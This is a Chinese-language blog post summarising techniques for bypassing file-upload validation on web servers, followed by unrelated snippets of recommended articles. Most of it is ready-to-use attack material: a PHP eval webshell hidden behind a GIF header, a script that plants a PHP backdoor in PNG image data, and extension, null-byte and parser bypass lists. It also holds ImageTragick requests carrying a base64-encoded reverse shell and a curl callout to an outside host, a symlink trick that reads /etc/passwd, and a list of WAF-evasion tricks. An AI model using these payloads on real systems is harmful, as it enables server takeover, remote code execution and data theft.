可以参考upload-labs

检验规则

1、客户端javascript校验

通常在前端进行过滤,我们可以通过命名1.php.jpg上传,然后修改数据包文件名filename=1.php上传。或者直接禁用JS,上传1.php。都可以绕过前端验证。

可以参考upload-labs第一题

2.文件头content-type字段校验(image/gif)

这里可以参考upload-labs 第二题,通过修改Content-Type达到绕过检测

Content-Type : image/gifContent-Type : image/pngContent-Type : image/jpeg
Content-Type : application/x-phpContent-Type : application/octet-stream
3.文件内容头校验

应用程序根据其首个签名字节来识别文件类型。在文件中添加/替换它们可能会欺骗应用程序。

https://en.wikipedia.org/wiki/List_of_file_signatures

方式1:

可以使用winhex等软件在文件头内加入GIF87a的47 49 46 38 37 61  ,从而欺骗应用程序。

方式2:

在一句话木马前面再加一些图片文件信息,如

GIF89a<?php @eval($_POST['caidao']);?>

方式3:

Windows捆绑

copy 1.png /b + 2.php /a 3.png
4.后缀名黑/白名单校验:扩展名

黑名单:参考扩展名绕过。特殊可解析后缀、大小写、.$::DATA、空格、嵌套、/.、.htaccess、解析漏洞

白名单的绕过方法:00截断、解析漏洞。

5.文件内容校验:二次渲染

二次渲染绕过:

A:可以通过对比渲染前后的图片找到未被修改的位置加入恶意代码

B:二次渲染生成图片脚本

向PNG图片的IDAT数据块中插入PHP后门代码

<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>

后门代码:

=$_GET[0]($_POST[1]);?>

扩展名绕过

php扩展名

.php.php3.php4.php5.php7.pht.phar.phpt.pgif.phtml.phtm.jpeg.php.jpg.php.png.php

windwos会自动去掉不符合规则的符号

.php.,.php.php:1.jpg.php::$DATA

asp扩展名

.asp.aspx.cer and .asa (IIS <= 7.5)shell.aspx;1.jpg (IIS < 7.0)

perl扩展名

.pl.pm.cgi.lib

jsp扩展名

.jsp.jspx.jsw.jsv.jspf

Coldfusion扩展名

.cfm.cfml.cfc.dbm

空字节

.php%00.gif.php\x00.gif.php%00.png.php\x00.png.php%00.jpg.php\x00.jpg

解析漏洞

IIS5.x/IIS 6.0解析漏洞

A:在.asp目录下的任意文件会以asp格式解析

test.jpg会以asp格式解析

例如:http://127.0.0.1/test.asp/test.jpg

b:  ;截断

test.asp;.jpg 会产生截断,使文件以asp形式运行

例如:http://127.0.0.1/test.asp;.jpg
IIS 7.0/IIS7.5

该文件以php格式执行

例如:http://127.0.0.1/test.txt/.php
apache 解析漏洞(CVE-2017-15715)

使用burp hex功能在1.php后面添加一个\x0A

访问的时候通过1.php\x0A

Nginx解析漏洞

Nginx 0.8 <= 0.8.37

以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%00.php进行请求。

Nginx 0.8.41 – 1.5.6

以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20%00.php进行请求。

PHP CGI解析漏洞

IIS 7.0/7.5Nginx < 0.8.3

以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析

文件上传扩展到其他漏洞

像素洪水攻击,导致DOS

上传大文件实现DOS攻击

文件名设置为并尝试实现路径遍历 ../../../tmp/lol.png

文件名设置为,您也许可以实现SQL注入sleep(10)-- -.jpg

设置文件名来实现XSS

设置文件名以测试一些命令注入; sleep 10;

SVG上传

设置文件内容,图像处理库也可能支持SVG图像,由于SVG格式使用XML,因此攻击者可以提交恶意的SVG映像,因此可以隐藏攻击面以发现XXE漏洞。

payload1:payload2(php):    

上传SVG文件实现XSS

payload1:POST /profile/upload HTTP/1.1Host: XXXXXXXXX.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Bearer XXXXXXXXXXXXXXXXXXContent-Type: multipart/form-data; boundary=---------------------------232181429808Content-Length: 574Connection: closeReferer: https://XXXXXXXXX-----------------------------232181429808Content-Disposition: form-data; name="img"; filename="img.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?>            alert("Ghostlulz XSS");   -----------------------------232181429808--payload2:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>οnlοad="window.location='http://www.example.com'"xmlns="http://www.w3.org/2000/svg">
imagetragick (CVE-2016–3714)

可以使用vulHub去搭建环境

https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick

在解析https图片的时候,使用curl下载,由于没有做限制,可以通过拼接命令来执行。

command=" "curl" -s -k -o "%o" "https:%M" "/>%M可以用管道拼接command=" "curl" -s -k -o "%o" "https://"|id && ls -al /etc/passwd"" "/>

反弹shell poc

POST /upload.php HTTP/1.1Host: 192.168.80.141User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.80.141/upload.phpContent-Type: multipart/form-data; boundary=---------------------------188922290519572116071774556317Content-Length: 478Connection: closeUpgrade-Insecure-Requests: 1-----------------------------188922290519572116071774556317Content-Disposition: form-data; name="file_upload"; filename="upload.jpg"Content-Type: image/jpegpush graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguODAuMTM1LzQ0NDQgMD4mMQ== | base64 -d | bash`"||id " )'pop graphic-context------WebKitFormBoundarydGYwkOC91nnON1ws-------------------------------188922290519572116071774556317--

curl poc:

POST /upload.php HTTP/1.1Host: 192.168.80.141User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.80.141/upload.phpContent-Type: multipart/form-data; boundary=---------------------------188922290519572116071774556317Content-Length: 402Connection: closeUpgrade-Insecure-Requests: 1-----------------------------188922290519572116071774556317Content-Disposition: form-data; name="file_upload"; filename="upload.jpg"Content-Type: image/jpegpush graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg"|curl "192.168.80.135:8000)'pop graphic-context------WebKitFormBoundarydGYwkOC91nnON1ws-------------------------------188922290519572116071774556317--
压缩文件符号链接

可以参考:HCTF2018-Hide-and-seek

给test文件创建符号链接到/etc/passwd

ln -s /etc/passwd test

添加到压缩文件

zip -y test.zip test

然后上传到服务器,服务器会自动解压缩。产生链接到/etc/passwd。从而导致任意文件读取

unzip -n test.zip test

配置文件

.htaccess

参考upload-labs 第4题,把shell.jpg解析为shell.php

  SetHandler application/x-httpd-php

更多.htaccess攻击:

https://github.com/wireghoul/htshells

web.config

有时IIS支持ASP文件,但无法上传任何扩展名为.ASP的文件。在这种情况下,可以直接使用web.config文件来运行ASP经典代码

<?xml version="1.0" encoding="UTF-8"?>                                                                                                                                       

可以参考htb的Bounty靶机。

PUT 上传漏洞

可以通过options查看支持的http方法

看到Methods存在put,就可以尝试一下put上传

OPTIONS /resources/post-here/ HTTP/1.1Host: bar.otherAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Connection: keep-aliveOrigin: http://foo.exampleAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: X-PINGOTHER, Content-TypeHTTP/1.1 200 OKDate: Mon, 01 Dec 2008 01:15:39 GMTServer: Apache/2.0.61 (Unix)Access-Control-Allow-Origin: http://foo.exampleAccess-Control-Allow-Methods: POST, GET, OPTIONS, PUTAccess-Control-Allow-Headers: X-PINGOTHER, Content-TypeAccess-Control-Max-Age: 86400Vary: Accept-Encoding, OriginContent-Encoding: gzipContent-Length: 0Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/plain

使用PUT上传:

PUT /new.html HTTP/1.1Host: example.comContent-type: text/htmlContent-length: 16

New File

如果目标资源不存在,并且PUT方法成功创建了一份,那么源头服务器必须返回201 (Created) 来通知客户端资源已创建。

HTTP/1.1 201 CreatedContent-Location: /new.html

如果目标资源已经存在,并且依照请求中封装的表现形式成功进行了更新,那么,源头服务器必须返回200 (OK) 或者204 (No Content) 来表示请求的成功完成。

HTTP/1.1 204 No ContentContent-Location: /existing.html

bypass waf

Content-Disposition

使用多个content-dispositon绕过,IIS默认获取第一个,waf可能只会取最后一个。

content-dispositon:form-data; name="file"; filename="shell.php"content-dispositon:form-data; name="file"; filename="shell.jpg"
数据过长绕过

文件名绕过

filname="shell.............................................................................................................................................................................................................................................................asp"

特殊文件名

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
后续再整理
1. filename在content-type下面2. .asp{80-90}3. NTFS ADS4. .asp...5. boundary不一致6. iis6分号截断asp.asp;asp.jpg7. apache解析漏洞php.php.ddd8. boundary和content-disposition中间插入换行9. hello.php:a.jpg然后hello.<<<10. filename=php.php11. filename="a.txt";filename="a.php"12. name=\n"file";filename="a.php"13. content-disposition:\n14. .htaccess文件15. a.jpg.\nphp16. 去掉content-disposition的form-data字段17. php<5.3 单双引号截断特性18. 删掉content-disposition: form-data;19. content-disposition\00:20. {char}+content-disposition21. head头的content-type: tab22. head头的content-type: multipart/form-DATA23. filename后缀改为大写24. head头的Content-Type: multipart/form-data;\n25. .asp空格26. .asp0x00.jpg截断27. 双boundary28. file\nname="php.php"29. head头content-type空格:30. form-data字段与name字段交换位置

参考:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files

https://cloud.tencent.com/developer/article/1516346

http://ghostlulz.com/xss-svg/

http://www.mi1k7ea.com/2019/10/14/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

http://www.owasp.org.cn/OWASP_Training/Upload_Attack_Framework.pdf

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

https://book.hacktricks.xyz/pentesting-web/file-upload

https://xz.aliyun.com/t/6783#toc-7

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods/PUT

https://blog.csdn.net/qq_26090065/article/details/82715361

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

https://paper.seebug.org/219/

https://e1sewhere.github.io/2019/02/13/upload-labs-%E7%BB%83%E4%B9%A0/

png文件头_文件上传总结相关推荐

  1. jsp文件上传_文件上传

    一.文件上传的目的--脚本文件 文件上传的一共可造成三种危害,从低到高分别是,任意内容文件,html文件,脚本文件. 任意内容文件 任意内容文件指的是虽然文件后缀不可控,但是文件内容可控,比如我可以上 ...

  2. iHRM 人力资源管理系统_第9章_文件上传与PDF报表入门_第二节_PDF报表入门

    iHRM 人力资源管理系统_第9章_文件上传与PDF报表入门_第二节_PDF报表入门 文章目录 iHRM 人力资源管理系统_第9章_文件上传与PDF报表入门_第二节_PDF报表入门 PDF报表入门 3 ...

  3. .hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总

    文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式.如何针对性绕过检测.哪种上传和解析的场景会产生危害等还是比较模糊.本文作一些阐述,然后补充一些除了上传webshel ...

  4. java 文件上传漏洞_文件上传漏洞(绕过姿势)

    文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此 ...

  5. java 文件上传漏洞_文件上传漏洞(File Upload)

    简介 File Upload,即文件上传漏洞,通常是由于对用户上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马,病毒,恶意脚本等获取服务器的webshell权限,并进而攻击控制 ...

  6. 3.从零开始搭建基于SpringCloud的京东整站_文件上传微服务

    本次目标 本次实现的目标:实现图片上传微服务. 文件上传在很多项目和很多模块都要用到,所以将其单独作为一个微服务. 如下图蓝色箭头所示:FileUploadMicroservice 静态资源 本案例图 ...

  7. [sharepoint]rest api文档库文件上传,下载,拷贝,剪切,删除文件,创建文件夹,修改文件夹属性,删除文件夹,获取文档列表...

    写在前面 最近对文档库的知识点进行了整理,也就有了这篇文章,当时查找这些接口,并用在实践中,确实废了一些功夫,也为了让更多的人走更少的弯路. 系列文章 sharepoint环境安装过程中几点需要注意的 ...

  8. Struts2_3_国际化处理_自定义拦截器_文件上传及下载_OGNL

    Struts2国际化处理 浏览器根据当前的语言环境自动查找对应的语言环境资源包, 使jsp显示合适的语言数据环境 Struts2实现国际化, 动作类必须继承ActionSupport 创建资源包 资源 ...

  9. nginx 上传文件漏洞_文件上传漏洞,解析漏洞总结

    文件上传漏洞.解析漏洞总结 1.文件上传漏洞是什么 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.常见场景是web服务器允许用户上传图片或者普通文本文件 ...

最新文章

  1. [渣译文] 使用 MVC 5 的 EF6 Code First 入门 系列:MVC程序中实体框架的连接恢复和命令拦截...
  2. Django-HttpResponse、render,、redirect(转载)
  3. EchoServer
  4. 一些加快 程序运行速度的方法
  5. 开发中git的常用命令
  6. isupper_Python字符串isupper()
  7. vue 数组中嵌套的对象添加新属性--页面更新
  8. 极点五笔linux,Ubuntu 11.10安装极点五笔
  9. java字体除了宋体,为什么许多中文网站的主要字体仍然采用宋体而不是微软雅黑?...
  10. python能写dnf脚本么_python dnf
  11. 硬件驱动为什么要有WHQL数字签名
  12. 40163 php,【PHP】微信支付JsApi 40163错误,_PHP_ 少侠科技
  13. Excel多行转置为一列
  14. 腾讯会议录制视频下载
  15. 共享汽车违章难处理 车企用定位模块来解决
  16. linux 开发面试---基础题1
  17. 【死代码】(Dead Code)和【夸夸其谈未来性】(Speculative Generality)-如何解决被遗弃不用的代码以及暂时未被使用,但之后存在规划的代码?
  18. 【数据结构初阶】:栈和队列的实现(用C语言实现,附图详解和附源码)
  19. 为什么有些人拼了命也要考上985?
  20. 功能测试---正交实验法

热门文章

  1. 对软件体系结构的认识
  2. struts的国际化
  3. 面向对象第七章,内存的管理,面向对象三大特征封装、继承、多态
  4. 高情商女神是怎样炼成的?直播EMUI9.0制胜法宝“陪伴实测”
  5. adas--智能驾驶辅助系统
  6. Rhel7 IPV6配置
  7. 三种流行的数据库查询表记录数【转】
  8. MongoDB监控项--如何使用命令得到
  9. Tornado学习笔记(四)
  10. BZOJ 4247 挂饰 背包DP